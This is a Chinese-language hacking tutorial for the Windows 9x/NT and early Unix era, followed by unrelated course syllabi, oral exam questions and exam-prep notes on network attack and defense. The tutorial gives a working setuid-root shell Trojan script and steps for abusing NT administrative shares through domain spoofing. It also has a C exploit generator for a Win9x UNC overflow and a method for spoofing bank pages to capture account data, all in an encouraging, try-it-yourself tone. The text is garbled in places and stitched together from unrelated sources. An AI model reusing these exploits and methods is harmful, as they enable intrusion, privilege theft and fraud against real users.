网络攻防的基础教程
制作：shaokejian
单机安全
你有一台电脑，平时用来上上网，玩玩游戏，偶尔也敲点公文进去，你认为它挺安全的，但有一天，你的朋友突然告诉你，他有你的上网帐号和密码，你相信吗？――不要不信，这种方法挺多的，假如你用的是WINDOWS，假如你拨号上网的密码写了保存，那任何人只要在你的电脑上运行某个小软件就……
我从来不保存什么密码――你可能要得意的说，但――你的朋友在你电脑里装了一个木马，可以捕捉拨号网络那个“连接到”的Caption，然后记下你所按的键盘，悄悄地将文件写入一个加密过的文本后再自动退出――会点编程的人应该都做得到，你的电脑是不是失守了？
设了屏幕保护密码――天啊，重启动后还有什么？
设定了管理策略，用策略编辑器编辑过，如果不输密码他就进不了，进去了也什么都干不成！――把你的user.dat和system.dat删掉后用我的代替，这个主意你认为怎么样？
当然我不是让你杯弓蛇影弄得一个朋友都没有只能形影相吊――这样活着太没劲啦！
如果你的电脑没有机密资讯的话当然无所谓，如果有――保证尽量少的人接触它！
写了这么多都是WIN9X的，UNIX系统里这方面的问题是不是就少了呢？从物理方面来说，如果一台机器摆放的位置不安全，能让人有足够的时间打开机箱做一些手脚，你的机器就无法安全，就拿我的机子来说吧，我有两块硬盘，但在WIN9X和NT里都看不到第二块硬盘的影子――我把它装上了LINUX，而且只能从一个特定的地方启动它，启动之后，在LINUX下，我可以任意的用mount命令装其它操作系统里的所有数据一扫而空
局域网安全
基于同样的道理，局域网中的电脑在物理上仍然要严加控制，同时还要经常性地注意局域网中用户的一些非正常的举动――为什么？这还用问，就拿我身边的例子来说吧，我有个朋友，公司里三十多
台电脑连成一个局域网，但这家伙总想弄到主机的最高权限，于是乎监听SMB密文、安装木马忙得不亦乐乎――最后呢，当然得手了,毕竟是我的哥们嘛:)
还有，比如在UNIX中最好要限制ROOT只能由主控台（console)登录、要谨慎使用su命令等等，不然都会给同一网域内的一群“虎视眈眈”想获取最高权限者以机会……
辟如说：shell环境变量PATH中包含用冒号分开的目录名清单，shell按照清单中给定的顺序搜索这些目录，找出运行的命令的可执行文件，PATH变量的典型内容如下：
$ echo $ PATH
.:/usr/local/bin:/bin:/usr/bin/:/usr/X11/bin
但如果你是ROOT的话，无论如何要把PATH变量从当前目录开始搜索的设置去掉，不然请考虑下面的可能性：甲请你过去在他的终端上做某些管理员职能，你去了，su成ROOT，执行用户要求你做的系统命令后退出ROOT帐号――无懈可击，但如果用户将在他的目录下做了一个假的su程序……那么你是从当前目录也就是甲的目录开始搜索的，天啊，你执行的是一个根本不知情的程序，可能是用户自己编写的特洛伊程序，用以记录你的密码……
根据上面的原理，你看看如果ROOT不去掉本地目录的话，下面这段代码可能有什么用处吧
#!/bin/sh
cp /bin/sh ./stuff/junk/.superdude
chmod 4555 ./stuff/junk/.superdude
rm -f $0
exec /bin/ls $ {1+"$@"}
然后
% cd
% chmod 700.
% touch ./-f
明白了吗？这个ls建立了一个隐藏的setuid root的shell的copy……
远程安全与黑客常用方法
1、针对个人用户
个人用户在网上最常遇到的“侵略性”的行为不外乎以下几种
@ 垃圾邮件这是一个永恒但又无奈的话题，垃圾邮件包括了诸如一些赚钱、广告之类的信件和恶意的人们通过邮件炸弹发来“成吨重”的信件，这不需要任何技巧，也最是无聊――我收到的此类信件多如牛毛呀！对付此类信件远程登陆删除就行了，也没有必要非查出该发信人的行踪再施以报复――网上这种东西太多，可谓野火烧不尽……然后在信箱配置上设定拒收某些人、或者超大的信件就行了，这种垃圾不在我们的讨论范围之内。
@ 蓝屏炸弹这是针对WIN95的OOB漏洞而开发出来的一些小软件，多命名为*NUKE等等，以前是专门攻击139端口，被攻击的计算机多会出现M$著名的蓝屏蓝屏错误，WIN98下此漏洞已经PATCH上，所以大多数NUKE软件都已失效了，但最近听说一个叫VOOB的软件对WIN98仍然有效――我还没试过呢，要不要拿你开刀？该软件界面如下：（此类软件界面大抵如此，使用简单无比）要防范此类软件的攻击，一个土办法就是监听端口，网上有许多监听端口的软件，你只要设定好监听的PORT，一旦有人企图向这个端口发送信息包就会被记录下来，然后^&%^&*，抓到他后，你自己看着办吧……
@ 共享文件这个问题网络里有相当多的安全人士已经提过无数次了，但……我每次扫描一个C 类地址群的时候都能发现一大群人依旧开着共享没有任何防护而且自得其乐，很抱歉，我看过其中一些人的信、图片甚至更加机密的……你的电脑里是不是有这样的托着磁盘的小手呢？
有的话可要小心了，你开着共享呢，也就是说，下面的方法对你来说相当有效……
1、本地攻击
c$、d$、admin$和print$这些共享是很危险的.但是出于某些原因不愿意详细提及危险在何处. 众所周知,NT安装以后,将每个磁盘自动分配一个共享,c$,d$和e$等.这些共享是隐藏的共享,在网上邻居是看不到它们的.另外还有admin$,ipc$,打印机共享后,还会生成print$这个共享.
微软说这些共享是为管理而设置的,且最好不要删除.
实际上,这些c$共享资源都是可访问的,只不过需要一点权限.而print$则一般任何人都可以访问.
缺省地,要访问c$,需要backup operator以上的权限,即需要文件的备份权限.假设你的NT域内有一个帐号是benny,NT的ip是192.168.0.1,他是Backup operator,而你得到了这个帐号的密码,那么,你就可以通过网络访问NT服务器的c盘,而不管c盘有没有被共享. 方法如下: 在运行命令中输入:
文件://192.168.0.1/c$
则一个包含c盘所有文件的窗口将会弹出来.
或者net use z: 文件://192.168.0.1/c$
则NT server上的c:盘就被映射为本地的z:盘.
缺省地,你对这些目录将具有完全控制的权限,你可以用NT入侵升级版的方法,把getadmin的文件传到c盘来取得Administrator权限.
另外,对于file://192.168.0.1/print$你不需要backup operator的权限就能完全控制
2、远程攻击
本地攻击的这个技巧很多人都知道,下面来谈谈远程攻击
这个毛病是可以用来远程攻击的!
假设有一台server是https://www.doczj.com/doc/c112152671.html,/
一般人输入file://https://www.doczj.com/doc/c112152671.html,/c$后
会出现一个对话框,要你输入密码(但并不要你输入密码)
其实这是一个幌子,maybe微软的开发人员留了一个公用密码,否则,哪有不需要ID就提示输入密码的?
上面,我们提到,在局域网内,只要是backup operator以上级别的人输入这条命令,就不会有密码输入对话框出现,而会直接弹出暴露c盘所有文件和目录的窗口.
如果你有Backup operator以上的权限,用域欺骗的方法,可以远程访问C盘,并且在缺省情况下受到你的完全控制!
C盘文件被控制的风险就是系统完全被控制
发现的步骤:
如上所述,要打开file://https://www.doczj.com/doc/c112152671.html,/c$这个磁盘,就得在https://www.doczj.com/doc/c112152671.html,/的这个域内登录.但是通过TCP/IP如何在NT的Lan内登录?我产生了一个欺骗这个NT域的念头,即,我在本地设置一个与https://www.doczj.com/doc/c112152671.html,/的域的名称相同的主域控制器,假设https://www.doczj.com/doc/c112152671.html,/的域的名称叫xxx, 则我将自己本地主域控制器的域名也改成xxx,并且也设置一个benny的帐号和密码.
然后拨号上网,再输入file://https://www.doczj.com/doc/c112152671.html,/c$后
C盘的目录居然弹出来了,权限是完全控制,欺骗成功!
以上的方法有个问题,如何得知对方的域的名称?用这个命令:
NBTstat -A https://www.doczj.com/doc/c112152671.html,/
quack注：NBTstat是NT上一个能检验从NetBIOS名到TCP/IP地址的转换的实用工具，能检查NetBIOS的当前佳话状态，也可以把表项从LMHOSTS文件添加到NetBIOS名字高速缓存中，或者检验注册的NetBIOS名和分配给你的计算机的NetBIOS作用域，与NETSTAT不同的是它只处理NetBIOS连接，而NETSTAT处理你的系统与其它计算机的全部连接。
当然,用这篇Retina的文献中提到的方法,也可以获得其域的名称.
本文的基础是要获得Backup Operator的权限,结果是能获取Administrator权限,Local/Remote都有效.
但是,\\https://www.doczj.com/doc/c112152671.html,\print$这个目录是不需要什么权限的,任何人都能访问.
因为几乎所有的NT机器的c$目录是打开的,而且就算有人把这个共享删除了,机器重新启动后又会被自动打开,所以这个安全问题是很严重的.关于域欺骗的问题,是微软的安全漏洞无疑.在这里看到,本文还要用到其它的hack技巧如nbtstat和getadmin,成功入侵一台NT server是要用到很多知识的.
看了之后是不是觉得心惊肉跳――你硬盘上的文件全在别人的掌握之中！这种感觉不太好吧，呵，
所以如果不是必要的话呢，WIN98文件及打印共享的选项就不要开了，NT下最好对NetBIOS作个限制，要开的话――找个安全工具，比如LOCKDOWN2000，汉化后界面如下：该软件用法相当简单，可以实时监控他人同你的电脑的连接……试试你就知道了。
还有些人可能会说――我是拨号上网，动态IP，就算共享又怎么样？请问你有没有用ICQ？ICQ不是有“隐身人”的作用吗？有些人又不服了――唉，那你就开着吧，告诉我你的ICQ号……
@ 木马侵袭
说到木马很多人的第一反应就是BO，不错，BO的确是迄今为止水平最高的一个木马程序了――对了，要解释一下什么是木马吗？就是远程控制软件啦！一个客户端，一个服务器端，两边都装好后在客户端就可以访问远程的服务器了，之所以称其为木马，是因为它往往是在服务器端不知情的情况下被装入的――就是说，你一不小心，就“对外开放”了。
网上木马程序很流行，其实说来也很简单，大致都是修改注册表或者INI文件加载一个文件提供服务，这就手工都很容易检测出木马来。一，看增加的不明服务。二，因为木马是作为服务一般要打开一个网络通信端口，所以检查增加的服务端口也很容易检查出木马程序来。其实完全可以稍微改动操作系统内核而作出一个很好的木马来，这样不用改动注册表也可以让用户很不容易发觉。（比如说将木马做进某个驱动程序里面，就^&*%$,咱们劳苦大众想手工检测可就不容易了……）现在流行的一些木马多将自身复制到某个文件夹下隐藏起来，但它要运行就得自启动，所以检查注册表HKEY_LOCAL_MACHINE\software\microsoft\windows\currentvision\run下面有没有什么值得怀疑的对象就行了。如果对这些不熟悉的话，下载一个叫cleaner的软件亦可解决许多木马问题，刚才提到的LOCKDOWN2000也有清除木马功能。
@ 恶意代码
这可能在聊天室或者浏览页面时发生，现在主要是用java script写成的代码，其作用千奇百怪，举个简单的例子吧，比如众所周知的聊天室攻击手段：让别人开无数个窗口，当然你得把自己的Java
关了。（不过现在的聊天室可没那和好破坏了，你最好得先搞清楚某个较有代表性聊天室的ASP代码，对它有一番了解之后，举一反三，自行发挥了。
另一方面是一些包含恶意代码的HTML页面，你有可能在浏览某个页面的时候被人把硬盘格式化了^&^――好夸张哦！下面是一段利用Windows 95/98 UNC 缓存溢出漏洞写成的代码ie5filex.c：#include
#include
#define MAXBUF 1000
#define RETADR 53
/*
jmp esp (FF E4) code is stored in this area.
You must change this address for non-Japanese Windows98
*/
#define EIP 0xbfb75a35
unsigned char exploit_code[200]={
0x43,0x43,0x43,0x43,0x43,0x53,0x53,0x53,
0xB8,0x2D,0x23,0xF5,0xBF,0x48,0x50,0xC3,
0x00
};
main(int argc,char *argv[])
{
FILE *fp;
unsigned int ip;
unsigned char buf[MAXBUF];
if (argc<2){
printf("usage %s output_htmlfile\n",argv[0]);
exit(1);
}
if ((fp=fopen(argv[1],"wb"))==NULL) return FALSE;
fprintf(fp,"
memset(buf,0x41,MAXBUF);
ip=EIP;
buf[RETADR-1]=0x7f;
buf[RETADR ]=ip&0xff;
buf[RETADR+1]=(ip>>8)&0xff;
buf[RETADR+2]=(ip>>16)&0xff;
buf[RETADR+3]=( ip>>24)&0xff;
memcpy(buf+80,exploit_code,strlen(exploit_code));
buf[MAXBUF]=0;
fprintf(fp,"%s/\">\n",buf);
fprintf(fp,"10 seconds later, this machine will be shut down.
");
fprintf(fp,"If you are using IE5 for Japanese Windows98, ");
fprintf(fp,"maybe, the exploit code which shuts down your machine will be executed. ");
fprintf(fp,"\n");
fclose(fp);
printf("%s created.\n",argv[1]);
return FALSE;
}
在Windows 95 和Windows 98的网络代码部分存在溢出漏洞。通过使用一个超长的文名，攻击者可以让用户机器崩溃或执行任意代码。这个漏洞可以通过web页或HTML邮件来加以利用，在用户用浏览器打开此页面或打开邮件时进行攻击。此检验程序只在日文Windows 98\IE4\IE5环境下测试。在VC下编译后可以得到一个ie5filex.exe,直接在DOS下键入ie5filex a,它便会生成一个HTML文件，打开这个文件时会提示错误并且关机，怎么样，有点味道吧！
@ 病毒攻击病毒是什么就不用我说了吧，它有几个比较让人头疼的特点，破坏、潜伏、自我复制……我对病毒了解得并不多，但建议大家开着一个实时监控的软件如NAV，而下载软件时最好先扫描一下再行打开。
当然网络上有些破坏者将病毒裹在信息包中，当成一些好玩的东西发送给别人，对这些不请自来的可执行文件、WORD&EXCEL文档，最好先做扫描（我就曾见过有人将CIH裹在他自己写的一个自动生成情书的小程序里寄给别人，而且还会将系统的日期调整到四月十六号……）如果想对这方面多些了解，建议到以下几个站点转悠转悠：
@ WEB欺骗
最近台湾发现一起通过WEB欺骗获取受害人的银行帐号的事件（应该也是在九、十月份发生的吧），操作者将某银行的页面拷贝，然后将该银行的URL改写，于是浏览者便在假的银行页面上进行一系列的数据操作――当然一切都被记录在入侵者的电脑里了，然后的事情不用我说大家应该也知道了吧……这种事情你们可千万不能干呀^&^
攻击的关键在于要将该银行页面上的所有URL都指向入侵者的机器。
假设攻击者的服务器在机器https://www.doczj.com/doc/c112152671.html,/上运行，被侵入的银行的URL是http://www.bank.tw/,那么攻击者要在页面上的所有URL前加上自己的URL如下：https://www.doczj.com/doc/c112152671.html,/http://www.bank.tw。
当然这种行为要在入侵过的机器上干，要不然很容易就会被人发现你的真实身份，那就逊了^&^
2、针对网络主机
网络主机最经常遇到的就是非法进入了――你得记住这是违反法律的噢！
假定一个黑客要对某网站进行攻击行为，那么他将使用什么手段进入呢……
@ 口令攻击口令可以说是一个系统的大门，大多数新手开始都是由强攻口令而走上黑客之路的。过去许多系统中都有所谓JOE帐户，既用户名与口令相同的用户――现在相对少了，即便如此，还是有相当多的弱口令，如仅在用户名后简单加个数字之类的，那么一些破解口令的程序可就大显身手了。我推荐两个出色的口令解译器给大家：
a、小榕软件之流光，可用于检测POP、FTP口令，多线程检测，而且有高效的用户流服务器流模式，探测速度飞快，可以说是同类软件中的佼佼者，小榕同时还有另一优秀的软件乱刀！，能破解取得的PASSWD文档密文，速度甚至比JOHN还快得多，这两个软件应该是大家工具箱中的宝贝，可以到他的主页去下载使用――这两个软件是共享版，需要注册――请支持黑客软件！下面是它的运行界面：
b、天行软件之网络刺客2 Beta版，这个东东恐怕不需要我说了，三个字：全功能！虽然现在还没有完工，但只要是宝剑，就算在鞘里依然是有其威风的，它包括的功能……算了，你自己下载一个好好试试，反正绝不会后悔的。天行同时还有一个安全产品网络卫兵共享版发布。下面是网络刺客的FTP强攻的界面：
@ 扫描记得似乎是goodwell说过，好的扫描器千金难买，的确如此，其实扫描器就是将已知的系统漏洞写入程序，运行后它会搜索某一地址的站点，如果该站存在某些已知的漏洞，则扫描器最后的报告中会告知你，那么一名黑客就可以尝试以这些已知的漏洞去进攻――有目标了嘛！当然有些可能已被PATCH上了，可有些则不然，成功与否就看你的功力与运气了。绿色兵团zer9发表的WEB Secunity Scanner是我所见扫描器中相当出色的一个，其中个人主页扫描与IIS HACK检查因可能带来危险，所以需要向作者索取KEY才能使用
另一种扫描器是扫描端口的，这也是一种获取主机信息的好方法。比如它能轻易得到运行的操作系统信息以及提供了哪些服务。在UNIX下通常开放许多端口，如13（daytime)\19(chargen)……等等，而NT只提供一些通用服务如PORT21，PORT80，同时还在135、139端口进行监听，而WIN95则只在139进行监听，这样操作系统的判别是不是就非常容易了呢？下面这个东东就是干这种事的：
@ 缓冲区溢出漏洞无论是系统提供的一些调用或是用户编写的程序，有时都可能缺乏对要拷贝的字符串长度的检查。当超过缓冲区长度的字符串被送入过小的缓冲区中时，常会将进程中相邻空间覆盖掉。若较严重的话，可能将堆栈破坏，使程序无法执行。
在UNIX中的某些应用程序，如果我们输入三五页的字符作为命令行参数，看程序的动作的话，有时这个程序会出错，同是会有一个CORE的文件出现，里面可能包含一些你想要的东西。也可以用一类精心写出来的代码，得用SUID程序中存在的这种错误可以很轻易地取得系统的超级用户权限。由于缓冲区溢出漏洞牵涉到的程序面相当广，一时很难对这类型的攻击做出有效的杜绝。
一般情况下，黑客会在取得目标机器的信息之后到知名的黑客站点查找该种系统以及其上运行的各种服务是否有漏洞，然后将寻找来的一段程序代码上传编译运行……
@ 木马只要是执行用户不知道的任何操作，表面上又仿佛能完成某些正常功能的程序都可称之为木马，它们一般出现在几种时候，一是施放者想借木马夺取某些权限或获取信息时；二是系统被攻破后为方便日后进入而设下各种机关。它可以出现在编译过的程序中，也可以出现在系统管理员需要执行的系统命令中，甚至可以作为消息的一部份发送。比较精彩的是：一些邮件头（mail headers)允许用户退到shell并执行命令，因为这一特性使邮件在被阅读时激活，黑客利用它便能给终端发送特定的消息，在终端在储存一个命令序列并且执行它……听起来很酷吧，做一个试试！
@ 其它（拒绝服务攻击、网络监听）拒绝服务其实说起来也很容易理解，就是让服务器的CPU 过载、磁盘饱和、内存不足……总之你能想到的能让它动弹不得的行动都可以称之拒绝服务，因为这造成了使用该服务器的正式用户的请求被服务器拒绝。
至于网络监听――唉，网络监听！说起来还挺烦，我手真的难受呀，太酸了:(,就是――当信息以明文形
式在网络上传输时，将网络接口设置在监听模式――别说得这么烦了，就是安个监听的软件，就可以将网上传输的信息截获了，常用的监听软件有运行在Linux\Solaris等平台下的Sniffit以及WIN9X、NT下的NetXRay。
山东华宇工学院 《网络攻击与防御》 课程教学大纲 适用专业：计算机网络工程 编制单位：网络教研室 编制日期：2017年7月20日 电子信息工程学院制
《网络攻击与防御》课程教学大纲 一、教学目标 《网络攻击与防御》通过本课程的教学，使学生能熟练掌握信息安全的基本概念、框架和技术，使学生掌握常见的信息安全技术、加密技术、防火墙技术、入侵检测与预警技术、防病毒技术、拒绝服务攻击、欺骗攻击、常见的系统漏洞等安全方面的内容。通过学习，学生能够主动构建信息安全框架，并从内容安全和管理安全的角度掌握信息安全的方法和技术。通过该课程的学习，学生可以了解到信息安全的发展现状和网络安全的各种相关技术，通过实验还可以学会有关网络安全方面的分析与设计。 二、本课程与专业人才培养目标的关系——网络工程专业 三、学时安排
课程内容与学时分配表 四、课程教学内容与基本要求 第一章信息安全概述 教学目的与要求：通过本章的学习，了解信息的概念，性质与功能会计的产生、信息技术与信息安全的关系、息安全主要事件及形势的严峻性、信息安全的含义。 主要知识点： 1.信息与信息技术概述 2.网络体系结构与协议基础 3.信息安全的重要性与严峻性 4.信息安全的目标 教学重点与难点：信息与信息技术概述、信息安全的目标 第二章攻击信息安全的行为分析 教学目的与要求：通过本章的学习，了解信息安全问题的起源及常见威胁、了解影响信息安全的人员分析、理解网络攻击的手段与步骤、熟悉常见的网络攻击技术、熟悉网络
防御与信息安全保障的相关知识。 主要知识点： 1.信息安全问题的起源和常见威胁 2.影响信息安全的人员分析 3.网络攻击的手段与步骤 4.网络攻击技术 5.网络防御与信息安全保障 教学重点与难点：网络攻击的手段与步骤、网络攻击技术 第三章信息安全体系结构 教学目的与要求：熟悉开放系统互连安全体系结构，了解安全体系框架三维图、了解信息安全技术的相关知识、了解信息安全的等级划分及认证方法。 主要知识点： 1.开放系统互连安全体系结构 2.信息安全体系框架 3.信息安全技术 4.信息安全的产品类型 5.信息系统安全等级保护与分级认证 教学重点与难点：信息安全体系框架、信息系统安全等级保护与分级认证 第四章物理安全技术 教学目的与要求：了解物理安全的定义，掌握计算机房场地环境的安全要求，掌握电源安全技术的实现方法，掌握电磁防护的常用方法，理解通信线路安全的概念和保护方法。 主要知识点： 1.物理安全概述 2.物理安全等级要求 3.设备安全技术要求 4.环境安全技术要求 5.系统物理安全技术要求 教学重点与难点：物理安全等级要求 第五章灾难备份与恢复技术 教学目的与要求：掌握灾难恢复的关键技术，熟悉灾难恢复的规划与实施，了解灾难备
《网络安全防护技术》课程标准一、课程基本信息 课程名称网络安全防护技术先修课计算机组网技术、网络操作系统、网络管理 学分 4 学时建议68学时 授课对象网络专业三年级学生后续课攻防对抗、网络安全检 测与评估 课程性质专业核心课 二、课程定位 计算机网络技术专业从“组网、管网、用网”三个方向分别设置课程，《网络安全防护技术》则是其中承上启下，为这三个专业方向提供支撑，是计算机网络技术专业的核心课程。 《网络安全防护技术》课程通过三大应用情境的12个典型工作任务的学习，帮助学生学会正确使用各娄安全技术：加密、身份认证、资源权限管理、操作系统加固、病毒防范、链路加密、漏洞修补、安全检测等，能实施包括防水墙、入侵检测等安全产品配置，更能根据不同应用网络环境规划安全方案及应急响应策略。从内容上看，它涵盖了个人主机、办公网络和企业网络在安全防范中最常用的技术，也是网络安全工程师NCSE一、二级职业资格考试的重要内容，在整个课程体系中具有重要的作用。 学生学习了这门课程，既有助于学生深化前导的《网络操作系统》、《网络管理》、《计算机组网技术》等专业课程，又能辅助学生学习后续的《攻防对抗》、《网络安全检测与评估》的理解，提高学生的网络安全管理能力，培养更适应计算机网络相关岗位的合格从业人员。 三、课程设计（参照信息产业部NCSE一、二级证书的考试大纲） 1、课程目标设计 （1）能力目标 能够解决不同的网络应用环境中遇到的信息安全问题，成为具备基本安全知识和技能的安全应用型人才。能正确配置网络安全产品、实施应用安全技术、熟练掌握各类安全工具的使用方法，并能规划不同应用网络环境中的安全方案及应急响应策略。 （2）知识目标 掌握网络安全技术的概念与相关知识，了解网络安全相关标准，对于各类网络环境所使用的各类防护技术原理有正确的认识。 （3）态度目标 遵守国家关于信息安全的相关法律法规，不利用所掌握的技术进行入侵攻击方面的活动；正确认识攻击事件，有应急处理维护和恢复信息系统的意识。 （4）终极目标 培养掌握较全面的网络安全防护技能，同时具备较高的安全素养，能够从事企事业单位的网络安全与管理的合格从业人员。
《网络攻防技术实践》考核口试题 软件工程相关 1.软件的算法是如何定义的有哪些主要特征 算法是指解题方案的准确而完整的描述，是一系列解决问题的清晰指令。 七个主要特征：有穷性、确定性、可行性、有效性、健壮性、输入项输出项2.软件中算法的效率如何度量 空间复杂度、时间复杂度。 3.解释一下算法、程序和软件的概念。 算法：通常指可以用来解决的某一类问题的步骤或程序，这些步骤或程序必须是明确的和有效的，而且能够在有限步之内完成的。 程序：程序（program）是为实现特定目标或解决特定问题而用计算机语言编写的命令序列的集合。 软件：计算机系统中与硬件相互依存的一部分，包括程序、数据、相关文档的完整集合。 4.什么是结构化程序设计有哪几种主要结构 结构化程序设计（structured programming）是进行以模块功能和处理过程设计为主的详细设计的基本原则。它的主要观点是采用自顶向下、逐步求精的程序设计方法，使用三种基本控制结构构造程序。任何程序都可由顺序、选择、循环三种基本控制结构构造。 5.解释一下C语言中结构体的概念 结构体是由一系列具有相同类型或不同类型的数据构成的数据集合。 6.什么是数据结构数据结构在计算机中如何表示 数据结构是计算机存储、组织数据的方式。数据结构是指相互之间存在一种或多种特定关系的数据元素的集合。常用的数据结构有数组、栈、队列、链表、树、图、堆和散列表等。数据结构在计算机中的表示成为数据的物理结构，又称为存储结构，包括数据元素的表示和关系的表示。表示方法有结点、顺序存储结构和链式存储结构。 7.解释一下数据结构中线性表的概念 线性表中数据元素之间的关系是一对一的关系，即除了第一个和最后一个数据元素之外，其它数据元素都是首尾相接的。 8.解释一下数据结构中树的概念 树是由一个集合以及在该集合上定义的一种关系构成的。集合中的元素称为树的结点，所定义的关系称为父子关系。父子关系在树的结点之间建立
网络攻击与防护概念 网络攻击：非法使用或获取网络中的信息或以破坏网络正常运行的行为、技术； 网络防护：保护计算机网络的各种技术 常见网络攻击与防护 网络攻击技术：介绍常见的网络攻击技术，包括网络扫描技术、口令攻击、缓冲区溢出攻击技术、网络监听技术、网络协议攻击、拒绝服务攻击、木马攻击技术等内 容 网络扫描技术:使用网络扫描软件对特定目标进行各种试探性通信，以获取目标信息的行为。 主机扫描 端口扫描 操作系统扫描 漏洞扫描 口令攻击：破解账户密码 弱口令扫描：最简单的方法，入侵者通过扫描大量主机，从中找出一两个存在弱口令的主机 简单口令猜解：很多人使用自己或家人的生日、电话号码、房间号码、简单数字或者身份证号码中的几位；也有的人使用自己、孩子、配偶或宠物的名字，这样黑客可以很容易通过猜想得到密码 暴力破解：尝试所有字符的组合方式。获取密码只是时间问题，是密码的终结者 口令监听：通过嗅探器软件来监听网络中的数据包来获得密码。对付明文密码特别有效，如果获取的数据包是加密的，还要涉及解密算法解密 社会工程学：通过欺诈手段或人际关系获取密码 缓冲区溢出攻击技术：（一般情况下，缓冲区会溢出引起程序运行错误，但是在攻击者的设计下）向程序的缓冲区写入超出其长度的内容，造成缓冲区的溢出，从而破坏程 序的堆栈，使程序转而执行其他的指令，以达到攻击的目的 网络监听技术：是指在计算机网络接口处截获网上计算机之间通信的数据，也称网络嗅探（Network Sniffing ） 拒绝服务攻击：攻击者通过某种手段，有意地造成计算机或网络不能正常运转从而不能向合法用户提供所需要的服务或者使服务质量降低 拒绝服务(DoS: Denial of Service)：任何对服务的干涉如果使得其可用性降低或者失去可用性称为拒绝服务, 如：计算机系统崩溃；带宽耗尽；硬盘被填满 攻击方式：消耗系统或网络资源；更改系统配置 木马攻击技术：特洛伊木马，是指隐藏在正常程序中的一段具有特殊功能的恶意代码，具备特定的破坏功能，会影响用户系统的安全。 木马程序与一般的病毒不同，它不会“刻意”地去感染其他文件，它的主要作用是控制
网络攻防考试资料整理书签也是目录，仔细阅读综述 Abel，Master，刘立 12/7/2010 内容概览： Part1综述 Part2选择题题库 Part3怎样布置一个办公局域网络 Part4课件框架 Part5全部课件原文 （1）感谢信安的历届前辈，这些资料都是历年积累下来的。（2）同时因为每一年的考试情况有所不同，因此这份资料和考试情况难免有所出入。（3）学习好，是平时努力，今后受益；考试好，只是一门技术。
Part1.综述 1.考试综述 1.1.引用文档里面的告诫 1.1.1.“答题的时候不用全抄原话，分重点列出1234，每条后面加点自己简明扼要 的理解就够了” 1.1. 2.经常有这种情况 1.1. 2.1. 1.1. 2.2. 一般看到内容差不多，很兴奋，就全篇的抄进去了 让同学答题的时候看准问题再抄，别抄了半天和问题对不起来 1.2.推测很可能考试具体的知识点，因此Ctrl+F会经常用到。 1.2.1.注意使用快捷键：比如说，Foxit Reader里面，F3就是“查找下一个”； 1.2.2.注意搜索关键词：比如说题目是“拒绝服务攻击”，课件里面可能是“DoS” 或者“决绝服务的攻击”，所以需要搜索“拒绝服务”并且熟悉课件。 1.2.3.注意，同样一个名词可能在很多章节里面出现。比如“缓存区溢出”可能出 现了50次，可能有一个小节标题是“几种类型”。因此，题目“缓存区溢出 的类型”，可能需要浏览、关键词查找相结合。 1.2.4.所以最好是熟悉一下各个课件的框架。如果查找的时候可以知道在哪一张查 找，效率会高得多，并且会减少错误。 2.题型和题目分布 2.1.选择题（见Part2：“选择题题库”） 2.1.1.据说全部是“选择题题库”里面的原题； 2.1.2.对策：直接应用Ctrl+F进行关键词查找； 2.2.名词解释（见Part5：“课件PDF格式整合”） 2.2.1.基本上是每一节课的内容出一道题目； 2.2.1.1. 2.2.2.对策：通过索引找到考点在哪一次课的课件，然后利用Ctrl+F在PDF里面进 行查找，F3查找下一个； 2.3.简答题（见Part5：“课件PDF格式整合”） 2.3.1.基本上是每一节课的内容出一道题目 2.3.2.对策：通过索引找到考点在哪一次课的课件，然后利用Ctrl+F在PDF里面进 行查找，F3查找下一个； 2.4.应用题（见Part3：“布置一个办公局域网络”） 2.4.1.很可能是布置一个办公局域网络 2.4.1.1. 2.4.1.2. 要用到DMZ，防火墙，路由器的配合要画拓扑图,说的越详细越好
课程名称:《网络安全与攻防实战》课程代码: 94010042 开课系(部):信息工程学院 制定人:谢品章 审核人:曾德生 制定时间: 2016年8月28日
《网络安全与攻防实战》教学大纲 学分：4 总学时：64 考核方式：考试 课程性质：专业课课程类别：理实一体 开课单位：信息工程学院适用专业：计算机网络专业 一、教学目标 本课程是计算机信息管理专业在学习实用组网和计算机网络基础后的一门专业必修课程，通过本课程的学习，使同学们掌握网络安全的基础知识，能自主进行网络安全的实施，在网络管理时，能完成独当一面，能够在日后的工作中解决网络安全出现的问题。 二、教学要求 1. 使学生了解和掌握网络安全的基础知识和基本技能，具有应用网络安全的能力，提高学生的科学文化素质，达到培养目标的基本要求。 2. 为学生利用网络安全中规范和应用能力其他综合性课程打下基础，使他们具有运用知识进一步学习相关专业知识的初步能力。 三、教学内容及学时安排
四、教学方法 本课程以工作任务为导向，以培养职业素质为目标，课程内容选择日常事务中基于工作过程实用典型案例，以实用任务的形式呈现，以“任务描述→案例→相关知识与技能→方法与步骤→知识拓展→探索与练习”几个环节贯穿每一个任务中，每一个任务都是围绕职业岗位需要的素质、能力、技能组织教学。课程突出工作过程的主线地位，以边讲边练的模式开展教学，注重知识的实用性、工作过程的完整性和可迁移性，在学习过程中使学生的知识、能力及素质协调发展。 1、以能力为本位，精讲多练，突出能力的培养。注意教学内容中基本概念和基本能力的教学，培养学生的自学能力、实践能力、对新事物的适应能力和创新能力，使学生在掌握基本概念和基本技能的基础上，能举一反三、触类旁通，具有学习和使用新机型、新软件的能力。 2、教学模式上，注意将课堂教学与上机操作紧密结合，探索“教、学、做”一体化，边讲边练的教学模式，注重培养学生的实际应用能力。 3、加强实践教学，培养学生的操作能力。采用多种方式为学生提供更多的上机时数。 五、考核方式与评分办法 本课程成绩由平时成绩和期末考试成绩两部分组成。 1．根据学生出勤情况、完成作业情况以及实践环节的表现给出平时成绩。
网络安全攻防实验室 建设方案 XXXX信息科学与工程学院 2020/2/28
